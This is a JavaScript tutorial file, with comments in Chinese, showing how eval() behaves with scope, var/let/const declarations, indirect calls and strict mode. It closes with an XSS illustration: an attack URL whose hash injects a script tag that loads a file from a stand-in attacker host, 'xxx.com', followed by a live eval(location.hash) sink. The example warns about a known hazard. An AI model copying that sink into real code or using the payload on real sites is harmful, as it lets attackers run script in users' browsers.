/**
* @param {string} expression
* @return {undefined | any}
*/
eval(expression)
// 传入字符串形式 JS 语句
console.log(eval('const a = 0')); // undefined
// 传入字符串形式 JS 表达式
console.log(eval('1 + 1')); // 2
console.log(eval('(() => 3)()')); // 3
// 传入非字符串
console.log(eval({ a: 1 })); // {a: 1}
/**
* 使用 var 声明的变量和 function 声明的函数修改了当前词法作用域。
* 在 inner 内部创建的变量 a 和函数 fnA 覆盖了外部的变量 a 和函数 fnA。
* 变量 a 和函数 fnA 在 inner 内没有被提升。
*/
(function () {
const a = 0;
function fnA() {
return 10;
}
(function inner() {
console.log(a); // 0
console.log(fnA()); // 10
eval('var a = 1; function fnA () { return 11; };');
console.log(a); // 1
console.log(fnA()); // 11
}());
}());
/**
* 使用 const 和 let 声明的变量没有修改当前词法作用域,在当前创建了新的词法作用域。
* 在 eval() 外部无法访问变量 a 和 b。
*/
(function () {
eval('const a = 2; let b = 3;');
// console.log(a); // ReferenceError
// console.log(b); // ReferenceError
}());
/**
* 没有作用域隔离的话,var 和 const/let 会冲突报语法错误
*/
(function () {
const a = 0;
// eval('var a = 1'); // SyntaxError
}());
/**
* var 没有块作用域,一样会因为 var 和 const 冲突报语法错误
*/
(function () {
const a = 0;
{
// eval('var a = 1'); // SyntaxError
}
}());
/**
* eval() 内的代码在全局环境中执行,
* 使用 var 声明的变量和 function 声明的函数修改了全局词法作用域。
*/
var g = 0;
(function () {
const g = 1, ev = eval;
function fnG() {
return 10;
}
ev('console.log(g)'); // 0
ev('var g = 2; function fnG () { return 11; };');
console.log(g); // 1
console.log(fnG()); // 10
}());
console.log(g); // 2
console.log(fnG()); // 11
/**
* 变量 h 和函数 fnH 在全局环境内没有被提升。
* 使用 const 和 let 声明的变量没有修改全局词法作用域,在全局环境创建了新的词法作用域。
* 在 eval() 外部无法访问变量 i 和 j。
*/
var ev2 = eval;
// console.log(h); // ReferenceError
// console.log(fnH()); // ReferenceError
ev2('var h = 2; function fnH () { return 11; };')
ev2('const i = 1; let j = 2;');
// console.log(i); // ReferenceError
// console.log(j); // ReferenceError
/**
* 直接调用时,在 eval() 当前词法作用域开启严格模式时,eval() 内的字符串就会以严格模式执行。
* 变量声明和函数声明没有修改当前词法作用域,在当前创建新的词法作用域
*/
(function () {
const a = 0;
function fnA() {
return 10;
}
(function inner() {
'use strict';
console.log(a); // 0
console.log(fnA()); // 10
eval('var a = 1; function fnA () { return 11; };');
console.log(a); // 0
console.log(fnA()); // 10
}());
}());
/**
* 间接引用时,只有在 eval() 内的字符串里面开启严格模式时,字符串才会以严格模式执行。
* 变量声明和函数声明没有修改全局词法作用域,在全局环境创建了新的词法作用域
*/
var m = 0;
(function () {
const m = 1, ev = eval;
function fnM() {
return 10;
}
ev('\'use strict\'; console.log(m)'); // 0
ev('\'use strict\'; var m = 2; function fnM () { return 11; };');
console.log(m); // 1
console.log(fnM()); // 10
}());
console.log(m); // 0
// console.log(fnM()); // ReferenceError
/**
* 非严格模式下使用
*/
var x = 0;
(function () {
const x = 1;
function fnX() {
return 10;
}
window.eval('console.log(x)'); // 0
window.eval('var x = 2; function fnX () { return 11; };');
console.log(x); // 1
console.log(fnX()); // 10
}());
console.log(x); // 2
console.log(fnX()); // 11
/**
* 严格模式下使用
*/
var y = 0;
(function () {
const y = 1;
function fnY() {
return 10;
}
window.eval('\'use strict\'; console.log(y)'); // 0
window.eval('\'use strict\'; var y = 2; function fnY () { return 11; };');
console.log(y); // 1
console.log(fnY()); // 10
}());
console.log(y); // 0
// console.log(fnY()); // ReferenceError
/**
* 包含下面使用 eval() 不当的代码的网页地址为 'http://abc.com',
* 攻击者恶意代码文件地址为 'http://xxx.com/xss.js',
* 包含攻击代码的 URL 为 'http://abc.com#document.write("<script/src=//http://xxx.com/xss.js></script>")',
* 当用户访问了包含攻击代码的 URL 时,会在用户浏览器执行包含恶意代码的 'http://xxx.com/xss.js' 文件。
*/
eval(location.hash.substr(1));